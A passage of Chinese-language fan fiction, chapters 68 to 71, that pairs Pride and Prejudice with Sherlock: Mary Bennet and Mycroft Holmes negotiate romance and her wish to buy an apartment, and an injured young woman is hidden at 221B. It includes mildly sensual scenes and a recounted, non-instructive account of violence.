感觉到麦考福特先生越发用力的双臂,玛丽有点疼,干脆转过身,一个用力将麦考福特推倒下来。 麦考福特甚至还没反应过来,整个人上半身就跌入被褥之上,柔软的织物就在自己的后背,玛丽小姐竟然就这么忽然骑了上来!!! 麦考福特两只手放在床边,一动也不敢动。 玛丽双手环抱着胸口,看见麦考福特先生想要坐起来,甚至还用力将他按了回去:“不行,你不能坐起来!” 麦考福特感觉自己快要疯了,玛丽小姐似乎已经大跨步进入下一个阶段,她如同一个残暴的女王,用最血腥的手段,镇压着这片爱情国度里唯一的,弱小的臣民,而他作为女王的信徒,卑微的匍匐在地,升不起一丝反抗的情绪。 玛丽双手压在麦考福特的胸膛上,手掌之下的胸膛里,心跳简直快要爆炸一般,快的都让玛丽害怕,玛丽趴伏下来,用耳朵靠在麦考福特的胸口,下一秒眉头紧皱的坐起来:“你的心跳太快了麦考福特先生。” 麦考福特双眼含着水光,眼尾泛着红,呼吸变得急促起来:“玛丽小姐,可以让我坐下来么?” 玛丽双手环抱着胸口:“不!我还没说完,你不能这么亲我!你不能自己偷偷学习!不对,你应该先和我解释清楚,关于公寓的问题,如果你不解释明白,我绝不会让你起来的!” 麦考福特双手都不知道放在哪里,只能抓着盖毯,努力闭上双眼深呼吸,可是腹部起伏之间依然能感受到玛丽大腿压在自己腰侧的触感。 玛丽:“睁开眼,麦考福特先生,现在可不是睡觉的时候!” 直接伸手扒开麦考福特的眼睛,玛丽必须得到一个答案。 麦考福特真的觉得自己快要疯了,努力的呼吸,却只能闻见玛丽身上甜蜜的馨香:“求求你,玛丽小姐,我必须坐起来才能回答你。” 玛丽嘟嘟囔囔的:“好吧。” 麦考福特简直千恩万谢,他想要让玛丽小姐坐到一边,但是玛丽不同意,这样面对麦考福特先生,让她觉得有一种奇怪的控制感,只要她用力推开,麦考福特先生就只能躺倒下来。 可能是他腰不太好,没什么力气吧,玛丽心里想着。 无奈之下,麦考福特只能双手撑着盖毯,微微侧头,将自己的视线挪到门把手上:“玛丽小姐,我当然愿意千百次的和你表露真心,我绝不会同你无话可说,我非常愿意,甚至卑微的恳求你,同我多说一些话,只要听到你的声音,我就浑身充满干劲,但是我也知道你的恐惧,你确确实实的需要一个随时能去的地方来承载你的恐惧,那么一栋独属于你的公寓如何?我可以送给您一栋独属于你的公寓,一个随时随地,你都可以直接住进去的,只属于您的公寓。” 玛丽大概能理解麦考福特的意思了,如果有朝一日,麦考福特先生真的如同爸爸那样,躲进了书房,那么她也可以躲进独属于她的书房。 麦考福特的手缓缓地放在玛丽的腰上,滚烫的手掌下是柔软的腰肢,玛丽没有穿束腰! 这个念头一升起来,麦考福特只觉得自己浑身上下的血液都燃烧起来。 玛丽却忽然抱住麦考福特的脖子,送上了甜蜜的亲吻:“没错,我该买一栋只属于我自己的公寓!” 上帝啊! 麦考福特狠狠的掐住玛丽的腰肢,她到底从哪里学会的这些! 如果可以,麦考福特恨不得将玛丽吞吃入腹,但是此时此刻,他只能按住玛丽的腰,将她放在地上,然后转过身自己面对墙壁,甚至撑着墙壁的手指都在颤抖。 玛丽有些奇怪,刚才麦考福特先生掐住她的腰可用力了,有点疼,但是看着他眼眶泛红的样子,好像他才是受伤的那个人。 麦考福特低着头闭上双眼,一双手撑着墙,努力深呼吸控制自己的身体。 结果一睁眼,发现玛丽弯着腰从他的手臂下面露出个小脑袋。 被泪水清洗过的眼睛带着亮晶晶的好奇:“麦考福特先生,你要哭了吗?” 68 第68章 前一天还是伊丽莎白焦躁难安,第二天就变成了简,她在客厅里来回踱步,时不时还会靠近卧室,试图听出一些什么。 221B展现了它灵活变通的一面,虽然楼上下的隔音不是很好,但是卧室和客厅的隔音好极了,简什么都没听见。 所以她完全不知道,自己懵懂无知的小妹妹是如何被体面的绅士压在墙壁上深深的吻住了喉舌。 玛丽背靠着墙壁,不知道怎么就变成了这样,她只是很担心麦考福特先生,他看上去难受极了,似乎下一秒就要哭出来一样,她还在反思,自己是不是对他太凶了? 上帝,他的眼睛都红了,看上去可怜兮兮的,仿佛下一秒就要流下眼泪了。 一想到麦考福特先生会哭着和自己说,她真的太凶了,玛丽从心底里升起一丝愧疚,她语气不该这么凶的呀, 麦考福特先生是多好的一个人,他看出自己的恐惧,还提出了一个切实可行的方案!他可真是个好先生! 玛丽正想着是不是该和麦考福特先生说对不起,自己不是故意凶他的,结果下一秒,这位先生就揽住她的肩膀,将她困囿于墙壁和他健壮的身躯之间。 麦考福特单手撑着墙壁,另一只手几乎是颤抖着,抚摸在玛丽的脸颊之上,玛丽的双手还傻乎乎的搭在他的肩膀处,仰着头,蒙昧的看着他,完全不知道自己面对的是怎么样一头野兽。 这头欲望的野兽快要被眼前这位什么都不知道的小姐逼疯了。 麦考福特低着头,他整个人几乎快要燃烧起来了,只有世界上最甜蜜的,来自玛丽小姐舌尖的那一丝丝甘霖,能稍稍压制那将要把他燃烧殆尽的火焰。 可是很不幸,那是灭火剂,也是助燃剂。 品尝到玛丽小姐的甜蜜之后,麦考福特差点无法控制自己,他的灵魂似乎都被那甜蜜的滋味浸染,整个人都在颤栗发抖。 特别是听见她含含糊糊的声音,简直比上帝福音更加悦耳! 麦考福特强迫自己松开嘴唇,将自己的头靠在玛丽的肩膀处,嗅闻着她脖颈之间馨香的气息,这甜蜜的滋味充斥着他的血管,丰盈着他的欲望。 玛丽还没搞明白发生了什么,只觉得麦考福特先生靠在自己肩膀上的样子十分可怜,于是伸出一只手抚摸着他的头发,指尖轻轻触碰着他的发丝,从发顶到脖颈处,在触摸到他的耳垂时发现温度低了一些,他的脖颈似乎快要燃烧起来了,耳垂却有点凉凉的。 真是有点奇怪,玛丽不知道为什么一个人耳朵和脖子的温度会有差异,那柔软的耳垂似乎变成了一个玩具,玛丽只要视线微微下移,就能看见麦考福特先生通红的耳朵。 可爱,真是有种莫名的可爱。 玛丽想着。 用手指轻轻的揉捏着柔软的耳垂,感受到指尖几乎微不可见的颤抖。 玛丽没办法动弹,麦考福特先生几乎快要将她压到墙壁中了,这种感觉有点难受,玛丽扭动了一下身子,试图挣脱开来。 腿上似乎碰到了什么奇怪的东西,只是轻轻一个触碰,结果麦考福特先生倒抽了口冷气,发出闷哼。 呼吸声更加粗鲁了,一下又一下的鼻息和喘气让她的脖颈痒痒的。 玛丽缩了缩脖子,带着点被挠痒痒一样的笑意开口:“麦考福特先生,你弄得我痒痒的,可以松开一下吗?” 因为没办法挪动,玛丽说话的时候都是靠在麦考福特先生的耳边,每一个单词的气息涌动,都直接划过麦考福特的耳廓。 甚至他的耳廓都能感觉到玛丽的唇瓣,那种柔软的温度和触感。 麦考福特大口喘着气,脑子里一遍又一遍的,都开始背诵起美国的独立宣言了。 该死的美国,该死的独立。 结果下一秒,这份该死的宣言就从脑海里消失,变成了碎片。 麦考福特掐住玛丽的肩膀,将自己狠狠的从玛丽的身上剥离开来。 玛丽好奇的看着他,似乎完全不明白自己做了什么。 可是耳垂上湿润的,带着一点刺激的痛感告诉他,就是面前这位小姐,用牙齿和舌尖,给了他最甜蜜的惩罚。 玛丽还以为麦考福特先生没听见,指望咬他一口,让他回回神。 然后下一秒就看见麦考福特先生双眼通红的向后退了一步。 玛丽歪着头,有些奇怪:“你还好么,麦考福特先生,你看上去……不太对劲。” 该死的,能对劲就见了鬼了!麦考福特浑身都在不自觉的颤抖。 下意识的,玛丽想要看一看他,结果麦考福特连忙伸手捂住了她的眼睛。 玛丽更奇怪了,今天的麦考福特先生为什么总是做出一些莫名其妙的行为? 麦考福特能感受到玛丽睫毛的颤抖,她正在自己的手掌下眨巴眨巴眼睛呢,那双绿色的干净的眼眸一定充满了好奇。 她只是眨眨眼,就快把自己逼疯了。 麦考福特想着。 低下头,已经完全不能看了。 他如果这幅模样出去,别说班纳特先生,恐怕今天晚上,玛丽就会被她的两个姐姐带回朗伯恩,自己这一辈子都再也看不到她了。 麦考福特捂住玛丽的双眼:“别动,别说话,什么都别问,玛丽,Ibegyou” 玛丽乖乖的闭上了嘴,她确实有一脑袋的问题。 紧接着裙子上似乎有什么奇怪的触感,很诡异,是什么东西,有点热热的。 玛丽下意识的动了动腿,想要躲开那奇怪的感觉,不自觉的问道:“是什么东西?” 可是紧接着下一秒,那奇怪的触感又贴了上来,麦考福特先生的声音都变得嘶哑:“别问,什么都别问,玛丽。” 幸好那诡异的触感贴上来之后并没有移动,只是简单的贴着,玛丽还算能够忍受,然后麦考福特先生又靠在她的脖子上了。 一直到那个诡异的触感逐渐消失,似乎也不是消失,还是热热的,但是变得……平静了? 麦考福特先生终于松开了捂着玛丽眼睛的手。 那双眼睛里带着好奇和疑问:“是什么东西?好奇怪。麦考福特先生,你怎么留了这么多的汗?” 麦考福特狼狈的不知道说什么,天知道,他默默在脑海里背诵了多久的法律条文,这才勉强控制自己不要做出任何过于冒犯的行为。 额头的汗水?那已经是他最后的尊严了。 玛丽想了半晌,终于从脑海里忽然翻找出答案,哦,之前在《妇女史》看过的,大概就是……那玩意。 声音还带着低沉的嘶哑,麦考福特迅速退后一步打开了门,他不能再继续任由这房门关着了,关着的房门差点放出他心底的野兽。 玛丽跟在麦考福特的身后走了出来,沙发上的两人立刻起身。 伊丽莎白看着脸颊还带着红晕,额头满是汗水的先生,看来他被玛丽狠狠的拷问了一番,心里默默的鼓起掌,干得好玛丽! 麦考福特轻咳两声:“鄙人还有许多事物,就不再打扰,具体的事情,还请玛丽小姐与两位小姐诉说吧。再见。” 几乎称得上落荒而逃! 简和伊丽莎白看着麦考福特福尔摩斯先生,他都等不及安娜送上手杖和外套,直接自己拿走就跑了。 等到麦考福特的背影消失,简和伊丽莎白将玛丽拉到沙发上坐了下来。 伊丽莎白率先开口:“你们聊了什么,玛丽?他和你求婚了么?” 玛丽将注意力拉回来:“嗯,算是吧,不过我拒绝了。” 伊丽莎白和简都目瞪口呆,特别是简,她刚刚接受宾利先生的求婚不久,满心满眼都是爱情的甜蜜,在简看来,玛丽和麦考福特先生可是一对天底下最甜蜜的有情人,两人爱的不得了,怎么会拒绝了求婚呢? 伊丽莎白更是吓了一跳:“怎么会呢?难道你不爱他么?我的上帝,如果你不爱慕这位先生,你怎么会?我的上帝!” 一想到两人所谓的学习接吻技术,伊丽莎白感觉自己快要晕过去了,此时此刻,她特别想要说出妈妈的那句至理名言 “上帝啊,谁来救救我的神经!” 玛丽没办法吐露自己的恐惧,她将那间书房里的一切都埋藏在心里,她可以和麦考福特先生说,但是却没办法和简还有伊丽莎白说,她没办法破坏两个姐姐心目中美好父亲的形象。 特别是简,她即将步入一段她期待许久的婚姻,这个时候难道要告诉她,曾经那么相爱的人,会说出如何恶毒的言语么。 玛丽含含糊糊:“反正我们谈好了,暂时不讨论婚姻。” 伊丽莎白捂着自己的额头靠在沙发上:上帝啊,她的神经真的开始痛了。 简却温柔的拉过玛丽:“但是你们还是相爱的对么?” 玛丽这回抬头,声音清脆又响亮:“是的,我大概真的爱上麦考福特先生了,刚才他稍微和我说对不起,我就觉得心里没那么生气,愿意原谅他了,这是爱,对吗?” 简笑了起来:“当然,玛丽,这是爱,那你们都讨论好了么?” 玛丽点点头:“是的,没错,我们讨论好了。” 简转过头看向伊丽莎白,她正靠在沙发背上,捂着头看向天花板:“莉齐,如果玛丽有自己的主意,而两人又确实相爱的话,或许我们只需要做一件事情。” 伊丽莎白的声音都透露出一种虚弱:“什么事情?让她移民成法国人么?” 简噗嗤一声笑了出来:“是等待,我们需要给玛丽一些时间,等待她做好准备,你说是吗?玛丽?” 玛丽给了简一个大大的拥抱:“谢谢你,简,我确实需要一些时间。” 需要时间去赚取足够多的金钱,去购买一栋能让她随时随地,回到安全地带的屋子。 伊丽莎白看着拥抱在一起的简和玛丽,无奈的叹了口气,也上前拥抱住了两人:“好吧,只要不是做法国人,我还是可以接受的,别显得我很不通情达理一样,来给我一个拥抱吧,玛丽,难道我不是你最爱的姐姐了么?” 玛丽皱起眉头,将自己更加用力的贴在简身上:“这会儿不是了,这会儿简才是我最爱的姐姐!” 伊丽莎白笑了一声,忽然伸出手挠玛丽的痒痒:“好呀,这会儿你最爱的就是简啦,我看看简还能不能保护你!” 玛丽尖笑着从沙发上跳起来,两人绕着沙发上的简跑圈,玛丽一边笑一边跑:“你太小心眼了,你已经做了我那么久最喜欢的姐姐,只是今天让一让简而已!” 伊丽莎白也笑着追在后面:“不行,咱们家里五个姐妹,简已经是我最喜欢的姐姐了,你必须只能最喜欢我!” 安娜在门外看了一眼,轻笑着合上了房门。 【作者有话说】 出来旅游,提前发一下,明天可能会比较迟更新,但是会更新的[狗头] 69 第69章 玛丽在公寓里忙碌好些日子,简和伊丽莎白在麦考福特先生拜访过后的第二天就回了舅舅家。 等到伊丽莎白送来信件的时候已经过去两周了。 看着伊丽莎白的来信,玛丽觉得自己该回去朗伯恩一趟,因为宾利先生加快进度,忙碌完了伦敦的事物,准备回到内瑟菲尔德了,此番前去内瑟菲尔德,就是准备和班纳特先生见面,请求班纳特先生允许他和简在一起。 看到伊丽莎白的信件之后,玛丽皱了皱鼻子,将信件放在一边,和旁边的麦考福特先生抱怨起来。 “为什么一定要和爸爸允许呢,我始终觉得这样的方式很奇怪,就像是去商铺买东西,购买一个东西需要店主的允许,可是明明他是要和简求婚。” 麦考福特先生在一边喝着茶,处理手上的公文。 听见玛丽的话之后麦考福特先生笑了笑:“毕竟现在的主流思想就是这样。” 玛丽不高兴的哼了一声,然后转移了话题:“你要和我一起去么?我可以介绍我的家里人给你。” 快要临近圣诞节,玛丽本来就打算回一趟朗伯恩的,麦考福特先生盘算了一下手里的工作,无奈的摇起头来:“恐怕不行,临近圣诞节,首相有很多事物和聚会都要参加,恐怕我抽不出空来。” 玛丽垂下头:“好吧,那等下一次有空吧,我会给你写信的,麦考福特先生,到时候你也要给我写信。” 现在玛丽已经可以很坦然的向麦考福特先生表达自己的情感诉求了,反而是麦考福特先生,总是落后她一步,这种在同一门学科上领先一步的感觉,让玛丽洋洋得意。 麦考福特先生连忙答应。 等到晚上吃过晚餐又过了好一会,麦考福特先生准备离开了,玛丽一直将他送到一楼的门厅。 将最近整理的几本册子交托给麦考福特先生:“这两册太过混乱,我只能根据一些碎片稍微整理,恐怕许多东西都还要你再去核实一遍。” 麦考福特接过册子,甚至还有心情捏了捏玛丽的手指。 玛丽顺势将指尖探入麦考福特先生的指缝,两人十指交叉,握着手在门口甜蜜了好一会,一直夏洛克回来,才依依惜别。 夏洛克看着麦考福特的身影,不高兴的咳嗽了两声:“咳咳咳。” 麦考福特站在门厅看着夏洛克,他鼻子不是鼻子,眼睛不是眼睛的。 夏洛克:“真是奇了怪了,大英帝国要完蛋了?你都没什么事情好忙的么?这一个星期都来了三次了!” 麦考福特似笑非笑:“那可真让你失望了,夏利,只要玛丽小姐还住在这里,恐怕你会经常看到我。” 夏洛克:“真是见鬼了,真该让妈妈看看你现在的样子。” 玛丽看着兄弟两人斗嘴,忽然笑了起来:“你们感情可真好。” 夏洛克仿佛吞了什么奇怪的药物,整张脸都皱了起来:“厄……” 麦考福特还是一副好哥哥的表情:“是啊,毕竟夏利从小调皮捣蛋,都是我在帮他收拾烂摊子,我们的感情一直这么好。” 夏洛克白眼差点翻到后脑勺,硬生生从麦考福特的身后的位置挤了进去。 玛丽看了看天色,直到麦考福特先生确实要离开了,踮起脚尖在他的侧脸落下一个轻柔的吻:“再见,麦考福特先生,祝你晚上有个好梦。” 麦考福特握着她的手,也在她的手腕内侧落下一吻:“再见玛丽小姐,也祝你有个好梦。” 看着马车的背影消失,玛丽蹦蹦跳跳的准备回到楼上。 没想到夏洛克就在自己的门口等着。 玛丽快活的打了个招呼:“嗨,夏洛克,还不准备休息么?” 夏洛克撇了撇嘴:“嗯哼,他走了?” 玛丽拍了一下夏洛克的胳膊:“你怎么总是对你的哥哥这么凶,麦考福特先生是个好人!” 夏洛克:“哦~麦考福特先生是个好人~” 他学着玛丽的话,语气都显得有点子阴阳怪气起来,玛丽气呼呼的又给了他胳膊一拳,结果夏洛克躲了*开来,转换了个话题:“最近你的生意还好吗?” 玛丽愣了一下:“什么生意?” 这句话问完,玛丽如坠冰窟。 夏洛克耸了耸肩:“我就知道……你是不是还没反应过来。” 玛丽的抿着唇,低下头来。 她全然沉浸在所谓的爱情里,竟然忘记了自己来到伦敦的目标。 夏洛克看着玛丽锤头丧气的模样,让开了自己的半边身子:“要进来坐坐么?约翰今晚有约会,恐怕不会这么早回来,我们可以聊一聊。” 玛丽跟在夏洛克的身后进入二楼的会客厅,一进去玛丽就忍不住皱起眉头:“我的天哪,你们两个从来不收拾屋子的么?” 沙发上桌子上,到处都散乱着各种报纸,衣服,还有一些杂七杂八的东西。 夏洛克满不在乎:“稍等一下。” 当着玛丽的面,夏洛克将单人沙发上那堆杂志报纸和书籍混成一团,然后直接丢在椅背后面的地上:“好了,先坐下吧。” 玛丽甚至带了点嫌弃,天哪,两个大男人就是会把日子过成这样,忍不住开口:“你们应该找个男仆,帮你们收拾打扫一下,在这么胡乱丢东西,下次可找不到了。” 夏洛克胡乱摆摆手:“我都记着呢,可不会找不到,好了要不要喝点咖啡?约翰刚买的豆子,说是还不错。” 玛丽:“不用,太晚喝咖啡我会睡不着,来点茶就行。” 夏洛克下楼从请郝德森太太泡了两杯红茶,然后又自己端了上来。 两人面对面的坐在会客厅里,夏洛克率先开口:“我在最近的报纸上都没看到你的启事。” 玛丽低着头:“我忘记了……” 发生了太多的事情,她把自己准备做的工作都忘记了,她整日都像是当初拒绝麦考福特先生那样,被他用一些账本给打发在书桌前面了。 夏洛克干咳了两声:“那你有兴趣接点活么,你知道我对这方面没什么兴趣。” 玛丽好奇的看着夏洛克。 事情还是比较凑巧的,夏洛克接个了咨询侦探的活,一场谋杀案,虽然凶手很快就找到了,但是活人的问题可不归夏洛克管辖。 死者留下了一个店铺,他的孩子虽然打算继承父亲的店铺经营下去,但是凶手,也就是他们曾经的会计,做了很多假账,所以死者的儿子想要找一个可信的人帮助他们整理一下,看看会计到底贪污了多少钱,首先要向会计的家人将他贪污的钱财追回,之后还需要新的会计承接店铺的账单记录。 夏洛克正好想到了玛丽,于是向这家人推荐说自己认识一个可信的人,虽然是个姑娘,但是在经济方面处理的好极了。 玛丽捏着茶杯的握把:“我原本想要做一些咨询事物,但是如果你相信我,并且能让那家店铺的主人相信我,我能做的,夏洛克,我可以做。我们家的土地的账单都是我在整理。” 夏洛克点点头:“既然如此,我明天会联系那家人的,另外的事情,你想好了么?” 玛丽知道夏洛克的意思,他在隐晦的提点自己。 麦考福特先生爱她,也尊重他,但是不得不说,最近的生活上,她确确实实的,回到了曾经她说的那样“被麦考福特先生丢来几本账单,然后成为被保护的金丝雀,趴在书桌上忙忙碌碌,却不知道外面发生了什么。” 这怪不了麦考福特先生,是她自己把自己的理想给忘掉了。 夏洛克:“我想,你可以借此机会,走出去,看一看外面的工作。” 玛丽不知道说什么好了,夏洛克和麦考福特先生都是好人。 夏洛克:“我不希望你一无所知的,就失去一些你可能还没意识到有多么重要的东西,玛丽,我记得你说过,我们是朋友。” 玛丽感动的给了夏洛克一个拥抱:“谢谢你夏洛克,你真是个非常好的朋友。你提醒了我,我自己把自己想做的事情忘记了,但是幸好你提醒了我。” 夏洛克有些尴尬,他头一次被一个女士这样拥抱,幸好玛丽很快就放开了他:“这没什么,玛丽,没什么。我只是恰好有这么个机会,我只是推荐了你,具体怎么处理,还得是看你自己的能力,你愿意去尝试,这比什么都重要。” 玛丽点点头:“是的,谢谢你夏洛克,我会珍惜这次机会的,而且说实在的……” 说到这里,玛丽有些高兴,声音都变得昂扬起来:“我确实打算赚点钱。” 夏洛克:“哦是的,伦敦的物价确实有些高,我记得你之前和我说过,你父亲只帮你支付了房租,剩下的生活花费都是需要自己准备的。” 玛丽点点头又摇摇头:“这是一方面,吃了赚点吃饭钱之外,我还要多赚点其他的工资,诶怎么说呢,我打算攒点钱,买上一栋公寓。” 夏洛克喝了口茶水:“买公寓?” 这年头可少见,一个女士买公寓做什么? 玛丽喝完杯子里的茶水,充满斗志的开了口:“我打算买上一栋公寓,当做自己的房子,什么时候我攒够了钱,买上公寓了,我就可以和麦考福特先生求婚了!” 夏洛克原本打算将茶杯放下来,听见玛丽的话,杯子都摔到了地上:“等会,你说什么?” 玛丽:“求婚呀,我要买一栋公寓,然后再和麦考福特先生求婚!” 【作者有话说】 夏洛克是一个真正的绅士,一个[墨镜]真诚的朋友 70 第70章 第二天一大早玛丽从睡梦中醒来,觉得一切都好极了。 前所未有的好,她理顺了自己的思绪,一切都是安排的那么完美。 她即将在伦敦开展自己的事业,当然了,偶尔也会帮麦考福特先生处理他的一些事物,这种能够给爱人一些支撑的想法让玛丽觉得很棒,除此之外,她还能赚上一点钱,自己用一部分,攒下一部分,等储蓄到一定程度,就能购买一栋公寓,到时候她就可以和麦考福特先生求婚了。 现在想来,夏洛克听到自己要和麦考福特先生求婚时候的表情,玛丽都觉得有趣极了。 和安娜两人吃过早饭,玛丽正准备继续处理一些账册,门口却传来敲门声。 玛丽有些奇怪,现在是上午十点多,如果她的记忆没出错,夏洛克和雇主先生恐怕下午才会前来拜访。 到底是谁一大早前来? 安娜上前开了门,因为没有听见郝德森太太的声音,安娜很谨慎,只打开了一道缝隙:“您好,您找哪位……” 门口的人将遮掩在斗篷下的脸露了出来,安娜立刻打开了门。 是贫民窟的那位玛格丽特夫人,她的表情难看极了。 玛丽立刻从书桌前站了起来:“夫人,您怎么来了?” 玛格丽特夫人跟随安娜进入屋内,她穿着一套男装:“您说过,如果有需要,可以前来寻求您的帮助,是么。” 玛丽立刻点头:“是的,没错,我说话算话。” 玛格丽特夫人:“我需要在您这里藏一个人。” 玛丽吓了一跳:“出了什么事?您放心,随时可以将人带来,我会尽我所能的保护她。” 玛格丽特夫人就站在门口的位置,苍白的脸色有些吓人:“露易丝出事了……” 再一次听到这个名字的时候玛丽愣住了,但还是强行让自己冷静下来。 玛丽走到玛格丽特夫人的对面:“她出了什么事?如果不方便多说,我绝不多问,您随时可以将人送来。” 玛格丽特夫人听见玛丽答应之后也没多说:“我稍后会安排人将她送来……到时候还请不要害怕……总之看了你就知道了,我先走了。” 玛丽只是茫然的点头。 玛格丽特夫人来取匆匆,不过一个小时,郝德森太太忽然上来敲门,询问玛丽是不是定了一些面粉。 刚一听到这个询问玛丽还有些奇怪,安娜伸手扯了扯玛丽的袖子,玛丽立刻明白了过来:“是的没错,请让人上来吧。” 郝德森太太很是纳闷,但还是下楼打开了门。 几个男人扛了三四袋子面粉进来,面粉袋子大极了,甚至两个男人合力才扛上了楼。 郝德森太太摇摇头,不知道什么情况,想着可能玛丽有什么实验的需要,她经常买一些奇奇怪怪的东西,就和夏洛克一样。 扛东西的男人们上了楼,玛丽确实不认识他们,但还是给了钱。 等到他们把面粉袋子都放在门口之后,其中一个男人趁着接钱的功夫偷偷塞给玛丽一张纸条,声音还有些大:“谢谢您小姐,那我们就先走了。” 玛丽装作若无其事的样子接过纸条,准备等他们都走了再打开看。 几个男人下了楼之后,玛丽关上了门,刚要打开纸条看,就发现送上来的袋子中的一个正在动。 安娜和玛丽都吓了一跳。 然后是一个很细碎的声音,似乎是喘息。 玛丽和安娜立刻打开了那个袋子,露易丝就躺在里面,是刚才那个男人扛上来的。 她的脸上被裹上了许多纱布,脸色苍白又痛苦。 如果不是见过她,玛丽怎么都不敢相信面前这个女孩是露易丝布朗。 她和之前在森林里见过的完全不一样。 左眼的位置被纱布盖了一层又一层,还有血迹,脖子上,脸颊上,胳膊身上都是伤口。 没有被盖住的那只眼睛也漆黑肿胀,整张脸都不像是人的样子。 玛丽被吓得不轻,一双手都不知道该碰哪里,似乎不管碰哪里,都会伤害到这个可怜的姑娘。 安娜这时候站了出来,小心的将袋子从她的身上一点点扯开,伸手打横将她小心的抱了起来,挪到了书房里自己的床上。 玛丽紧紧跟在后面。 躺在床上之后,玛丽发现她的腿上也被包裹了许多的纱布。 露易丝疼的一直抽冷气,眼泪止不住的流出来。 玛丽两只手来回在裙子上抓着:“我的上帝,我的上帝啊,你……我的上帝啊。” 她不知道说什么了,看到一个这样被伤害的女孩子,玛丽只觉得惊恐。 露易丝不敢轻易挪动,任何一下移动,都会带来无尽的痛苦,但是她还是强撑着开了口:“谢谢您,玛丽小姐。” 玛丽眼睛都红了,感觉泪水根本无法控制:“别这么说,别这么说露易丝,我的上帝,是谁将你伤害成这样的。” 露易丝想要扯起嘴角笑了一笑,可是那太疼了,她只能小声的回答:“霍克,是霍克,他和雷利两个人……如果不是夫人安插的人……我恐怕早就死了……” 一想到自己经历的那些事情,露易丝依然感到害怕和恐惧。 前天雷利忽然来找了霍克,当时霍克正好在和她还有艾拉两个人一起…… 他们吵了起来。 露易丝隐约偷听到了一些东西,艾拉吓坏了,霍克一旦不高兴,就会殴打她。 从书房里隐约透出的声音里露易丝听见雷利在冲着霍克发火。 什么工厂,什么驻军,什么当初说好的。 再想仔细听,却什么都听不见了。 她觉得可能出了什么大事情,毕竟雷利始终胸有成竹的样子,很难得会发这么大的火。 等到了晚上雷利住了下来,霍克似乎根本不在乎似的,依然让她和艾拉两个人一起伺候他。 一切都结束之后,露易丝装作不在意的询问霍克,为什么和雷利先生吵了起来,她还以为他们是朋友。 结果霍克只是冷笑,朋友?雷利能带来利益的时候当然是朋友,可是雷利现在已经被步步紧逼。 麦考福特手底下的人到处在搜捕雷利的那些“小产业” 霍克趁机勒索了雷利好大一笔,除了钱,甚至还有许多工厂的产权。 他洋洋得意,根本没打算藏着掖着,在霍克看来,露易丝和艾拉只是他发泄的小玩具,如何都挣脱不开他的手掌。 当天晚上趁着霍克睡着,艾拉和她偷偷潜入书房,准备偷取雷利交给霍克的东西。 艾拉在这里住了一段日子,知道霍克的书桌有一个隐藏的抽屉,打开方式非常隐蔽。 如果不是有一次她偷看到霍克夫人怎么打开抽屉,她们是根本找不到那些东西的。 两人都知道,偷了这东西就没办法再留下来了。 拿走那些产权书和一些她们也看不懂的东西,两人就偷偷溜出了庄园,谁都没想到霍克半夜醒了,平日里他睡得跟死猪一样,偏偏那一晚醒了过来。 两人逃跑过程中,露易丝将东西交给了艾拉,然后分开行动,结果她被抓了回去。 霍克和雷利发了很大的火,两人互相指责,然后将怒火发泄到了她的身上。 只过了一晚,她就差点被活活打死,雷利甚至挖了她的眼睛,威胁她将东西交出来。露易丝知道,她们一定是偷了什么很重要的东西。 幸好艾拉顺利逃脱,找到了布朗夫人,夫人利用自己安插的女仆顺利将她带了出来。 可是伦敦这片地方,可信任的人不多,无法将露易丝妥善保护起来。 玛格丽特夫人想到了玛丽,她们都知道麦考福特和雷利正在打擂台,只要送到麦考福特的保护范围,露易丝就能有机会活下来。 于是露易丝被送来这里。 玛丽听了露易丝断断续续的诉说,只觉得心疼。 想要伸手抚慰一下,却无从下手,露易丝身上几乎没一片好肉。 安娜皱着眉头站在一边:“我去弄点安神药,她需要好好休息。” 玛丽连忙点头,但是此时此刻安娜也不敢随意离开221B,将玛丽一个人留在这里。 幸好楼下就住着一个医生。 今天约翰和夏洛克都不在,玛丽带着安娜直接开锁进了二楼。 安娜径直进入约翰医生的屋子,翻箱倒柜找了一会,找到了一些药物。 谢谢约翰先生,虽然他目前还在诊所上班。 两人带着药上了楼,看着露易丝吃下药物之后很快陷入了睡眠,玛丽和安娜小声的离开书房。 在客厅里玛丽来回走动:“我们是不是该去找麦考福特先生?” 安娜点点头:“最好告诉先生,发生了什么,雷利此番动作很不寻常。” 玛丽又很纠结:“可是玛格丽特夫人没说可以告诉别人呀,万一……万一……” 安娜伸手按住了玛丽:“玛丽小姐,你先冷静一下,雷利是我们共同的敌人,而且送来您这里,恐怕玛格丽特夫人他们打的注意也是将露易丝托付给先生的人手保护,再其次,恐怕先生已经知道了。” 玛丽一想到露易丝身上那些恐怖的伤口就感到心疼:“已经知道了?” 安娜连连点头:“相信我,能敲响221B这栋屋子大门的每一个人,先生都会了解的清清楚楚的,这条街上我们的人手不会低于二十个。” 玛丽张张嘴,忽然垂下头瘫坐在沙发上:“好吧,如果这样的话,还请安排一个医生前来给露易丝看看吧。” 果不其然,不过半个小时,麦考福特本人就亲自前来了。 一看到麦考福特先生,玛丽就有些别扭,总觉得自己的一举一动都在麦考福特先生的监视下。 说是监视,又似乎不对劲,总之很奇怪。 麦考福特带来了一个医生,看来他确实知道发生了什么。 玛丽正闹别扭呢,麦考福特先生走到了玛丽的身边:“玛丽小姐,我带来了一套衣服,你可以换一下衣服,稍后……有人需要见见你。” 不知道是什么人,能让麦考福特先生都露出如此严肃的表情,玛丽抓紧了手,感受到了手里的纸条,连忙打开看了一眼。 【3000】 【作者有话说】 雷利快下线了[让我康康] 70-80 71 第71章 这个数字很奇怪,没头没尾,就只有一个数字。 但是麦考福特脸色一僵,接过了纸条。 玛丽看着麦考福特先生脸色难看的不行,甚至怀疑他下一秒就要发火,结果他只是沉默的将纸条塞进口袋:“先去换衣服吧玛丽小姐。” 真是奇怪,为什么忽然要换衣服? 玛丽站起身:“不,如果他不想看见这样的我,那就别说什么要见见我。” 麦考福特看了看左右人手,让他们进去书房,看着露易丝,自己带着玛丽进入了卧室。 玛丽生气的很,双手叉着腰,扭过头不看麦考福特先生。 麦考福特将手杖随手放在一边,想要将玛丽拉到床边坐下。 玛丽用力推开了麦考福特:“你不能这样,把我惹生气了,又试图像是哄小孩子一样的哄我,你应该认认真真的和我解释。” 麦考福特尚且不知道玛丽为什么生气,于是老老实实的开口询问:“那请问玛丽小姐,你为什么生气?只有知道缘由,我才好和你解释。” 玛丽也不知道为什么生气,只能把这种感受的原因说了出来:“安娜说,你在贝克街安插了很多人手,每一个敲响贝克街221B大门的人,你都会调查的清清楚楚,是吗?” 麦考福特点点头,他并未否认。 